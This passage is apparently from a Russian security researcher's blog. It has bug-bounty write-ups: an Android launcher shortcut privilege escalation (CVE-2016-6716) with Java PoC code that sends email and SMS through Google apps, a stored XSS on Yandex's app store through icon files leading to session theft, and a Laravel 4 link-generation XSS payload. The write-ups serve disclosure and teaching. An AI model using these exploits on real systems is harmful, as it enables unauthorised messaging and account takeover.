intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Shortcut Example");
intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
sendBroadcast(intent);

Когда пользователь вызывает ярлык, по сути, происходит запуск Activity с помощью переданного EXTRA_SHORTCUT_INTENT от имени приложения googlequicksearchbox. Именно в этом и заключается проблема. Если вы интересуетесь уязвимостями в Android приложениях, то наверняка вспомните это исследование мобильных браузеров http://www.mbsd.jp/Whitepaper/IntentScheme.pdf.

В случае с браузерами, запуск произвольного Activity через intent-схему позволил вызвать неэкспортированные компоненты приложения, что привело к целому ряду интересных уязвимостей. Аналогичным образом я очень долго пытался играться со внутренностями приложения googlequicksearchbox, но особых успехов кроме нескольких падений не добился.

Обсудив эту уязвимость с Dmitry Lukyanenko, мы получили решение практически мгновенно. Ведь в запуске произвольных Activity можно использовать не только внутренние неэкспортированные компоненты, но и вызывать другие предустановленные приложения, используя привилегии googlequicksearchbox. А описанных привилегий было довольно много, в том числе с protectionLevel signature, доступных только приложениям Google.

[+] Список привилегий

После анализа других приложений от Google были найдены подходящие Activity и получились следующие PoC:

  1. Отправка произвольного письма с помощью приложения Gmail (com.google.android.gm)

    
    <permission 
     ...
     android:name="com.google.android.gm.permission.AUTO_SEND"
     ...
     android:protectionLevel="signature"/>
    ...
    <activity 
     android:excludeFromRecents="true" 
     android:exported="true" ...
     android:name="com.google.android.gm.AutoSendActivity"
     android:permission="com.google.android.gm.permission.AUTO_SEND" ...>
       <intent-filter android:label="@string/app_name">
         <action android:name="com.google.android.gm.action.AUTO_SEND"/>
         <category android:name="android.intent.category.DEFAULT"/>
         <data android:mimeType="*/*"/>
       </intent-filter>
    </activity>

    Пример использования:

    Intent shortcutIntent = new Intent("com.google.android.gm.action.AUTO_SEND");
    shortcutIntent.setClassName("com.google.android.gm", "com.google.android.gm.AutoSendActivity");
    shortcutIntent.putExtra("to", "<email>");
    shortcutIntent.putExtra("subject", "Shortcut Test");
    shortcutIntent.putExtra("body", "Hello");
    
    Intent intent = new Intent();
    intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
    intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Send email");
    intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
    sendBroadcast(intent);
  2. Отправка произвольных SMS с помощью приложения Hangouts (com.google.android.talk)

    <permission 
     android:name="com.google.android.hangouts.START_HANGOUT" 
     android:protectionLevel="signature"/>
    ...
    <activity 
     android:exported="true"
     android:name="com.google.android.apps.hangouts.phone.ConversationIntentSecureActivity" 
     android:permission="com.google.android.hangouts.START_HANGOUT" ...>
        ...
        <intent-filter android:label="@string/share_intent_label">
          <action android:name="android.intent.action.SENDTO"/>
          ...
        </intent-filter>
      </activity>

    Пример использования:

    Intent shortcutIntent = new Intent();
    shortcutIntent.setClassName("com.google.android.talk", "com.google.android.apps.hangouts.phone.ConversationIntentSecureActivity");
    shortcutIntent.setAction("android.intent.action.SENDTO");
    shortcutIntent.putExtra("android.intent.extra.TEXT", "Hello");
    shortcutIntent.putExtra("account_name","<CURRENT_EMAIL_ACCOUNT>");
    shortcutIntent.putExtra("participant_name","31337");
    
    Intent intent = new Intent();
    intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, shortcutIntent);
    intent.putExtra(Intent.EXTRA_SHORTCUT_NAME, "Send sms");
    intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
    sendBroadcast(intent); 

Результаты нажатия на shortcut:

CVE-2016-6716 https://source.android.com/security/bulletin/2016-11-01.html#eop-in-aosp-launcher

Fix https://android.googlesource.com/platform/packages/apps/Launcher3/+/c2b630c8b202f09a8a34f707d81733eef3efb560

12 сентября 2016

[developer.store.yandex.ru] Stored XSS


Нестандартная XSS в сервисе для публикации Android приложений в Яндекс.Store.

При добавлении нового приложения из apk извлекаются иконки, которые доступны по адресу
https://developer.store.yandex.ru/static/icon/<app_id>/<name>.png

Я обнаружил, что для иконок проверяется только расширение по белому списку (png, gif, jpg), но отсутствует проверка содержимого и регистра названия. Оказалось, что использование нестандартного регистра в расширении (например, ic_launcher.PNG) не поддерживается веб-сервером и заголовок Content-Type начинает определяться по контенту файла.

Таким образом, если в Android приложении заменить иконку файлом <html><script>alert(1)</script></html> с названием ic_launcher.PNG, подписать его и загрузить на сервер, то получается Stored XSS.

Аналогичным образом можно было загрузить вместо иконки SWF-файл и, используя дополнительные уязвимости, найденные ранее, довести атаку до полного захвата пользовательской сессии.

А именно:
1) Небезопасная настройка crossdomain.xml на browser.export.yandex.com (файл уже недоступен)
<allow-access-from domain="*"/>

2) XScript сценарий, выводящий все Cookie пользователя, включая Session_id. Для доступа к нему необходим был заголовок Referer, соответствующий регулярному выражению yandex сайтов.
browser.export.yandex.com/xml/common.xml (файл уже недоступен)

Примеры используемых apk:
https://blackfan.ru/bugbounty/xss_html.apk
https://blackfan.ru/bugbounty/xss_flash.apk


Некорректная обработка Location в IE


Очень круто, что обнаруженный мной баг с обработкой Location в Internet Explorer (почитать можно тут, тут или тут) используется и с небольшими дополнениями выстреливает в популярных BugBounty программах.

XSS via Host header - www.google.com/cse
http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html

GitHub OAuth Code Theft
https://blog.innerht.ml/internet-explorer-has-a-url-problem/

Combining host header injection and lax host parsing serving malicious data
https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/

How I could Steal Your Google Bug Hunter Account with Two Clicks in IE
http://ngailong.com/how-i-could-steal-your-google-bug-hunter-account-with-two-clicks-in-ie/


Баг генерации ссылок в Laravel 4


В случае, если имеется следующий blade шаблон:

<a href="{{ URL::route('index', Input::except('password')) }}">Index</a>

При обычных попытках использовать XSS ничего не получится, и при запросе

http://site.com/index?test<>'"=test<>'"

Будет сгенерирована следующая ссылка:

<a href="http://site.com/index?test%3C%3E%27%22=test%3C%3E%27%22">Index</a>

Но, если использовать числовой параметр:

http://site.com/index?123="><script>alert(1)</script>

То результат будет:

<a href="http://site.com/index?"><script>alert(1)</script>">Index</a>

Код генерации query_string:

    protected function getRouteQueryString(array $parameters)
    {
        // First we will get all of the string parameters that are remaining after we
        // have replaced the route wildcards. We'll then build a query string from
        // these string parameters then use it as a starting point for the rest.
        if (count($parameters) == 0) {
            return '';
        }
        $query = http_build_query(
            $keyed = $this->getStringParameters($parameters)
        );
        // Lastly, if there are still parameters remaining, we will fetch the numeric
        // parameters that are in the array and add them to the query string or we
        // will make the initial query string if it wasn't started with strings.
        if (count($keyed) < count($parameters)) {
            $query .= '&'.implode(
                '&', $this->getNumericParameters($parameters)
            );
        }
        return '?'.trim($query, '&');
    }

Для обычных параметров используется http_build_query, который автоматически делает urlencode, а числовые параметры добавляются без обработки.

В Laravel 5 такого уже нет, так как ссылку кодируют целиком, оставляя только символы из белого списка.

    protected $dontEncode = [
        '%2F' => '/',
        '%40' => '@',
        '%3A' => ':',
        '%3B' => ';',
        '%2C' => ',',
        '%3D' => '=',
        '%2B' => '+',
        '%21' => '!',
        '%2A' => '*',
        '%7C' => '|',
        '%3F' => '?',
        '%26' => '&',
        '%23' => '#',
        '%25' => '%',
    ];
    ...
    $uri = strtr(rawurlencode($uri), $this->dontEncode);

23 апреля 2016

Старые публикации


Старые публикации достойные внимания:


Не все cookie одинаково полезны, 07.12.2015
Комбинация недостатков обработки Cookie, которая может привести к обходу CSRF защиты популярных сайтов.
https://habrahabr.ru/post/272187/


Будни багхантинга: еще одна уязвимость в Facebook, 14.01.2015
XSS через CRLF Injection на facebook.com.
https://habrahabr.ru/company/pt/blog/247709/


VolgaCTF 2014 MySQL Game, 15.09.2014
Обзор Error-Based векторов для MySQL инъекций и их минимизации.
https://rdot.org/forum/showthread.php?t=3257


Обход безопасной загрузки изображений, 28.06.2013
Пример встраивания данных в JPG, которые сохранятся после использования функций imagecopyresized и imagecopyresampled.
https://rdot.org/forum/showthread.php?t=2780


Атаки через Request-Path + Баги IE, 20.01.2013
Обзор атак через небезопасную обработку Request-URI.
Некорректная обработка Location в Internet Explorer, эксплуатация XSS через Host в IE.
https://rdot.org/forum/showthread.php?t=2596
https://xakep.ru/issues/xa/171 (Защитным фильтрам вопреки. Атаки на веб-приложения через Request-URI)


YandexBugBounty, 15.12.2012
Разбор уязвимостей, найденных в рамках Yandex Bug Bounty.
https://rdot.org/forum/showthread.php?t=2537


SQLite 3 error-based injection, 13.06.2012
https://rdot.org/forum/showthread.php?t=2221


Магические методы, сериализация, инъекции в сессию и все-все-все, 02.12.2010
Обзор десериализации в PHP и всего, что с ней связано.
https://rdot.org/forum/showthread.php?t=950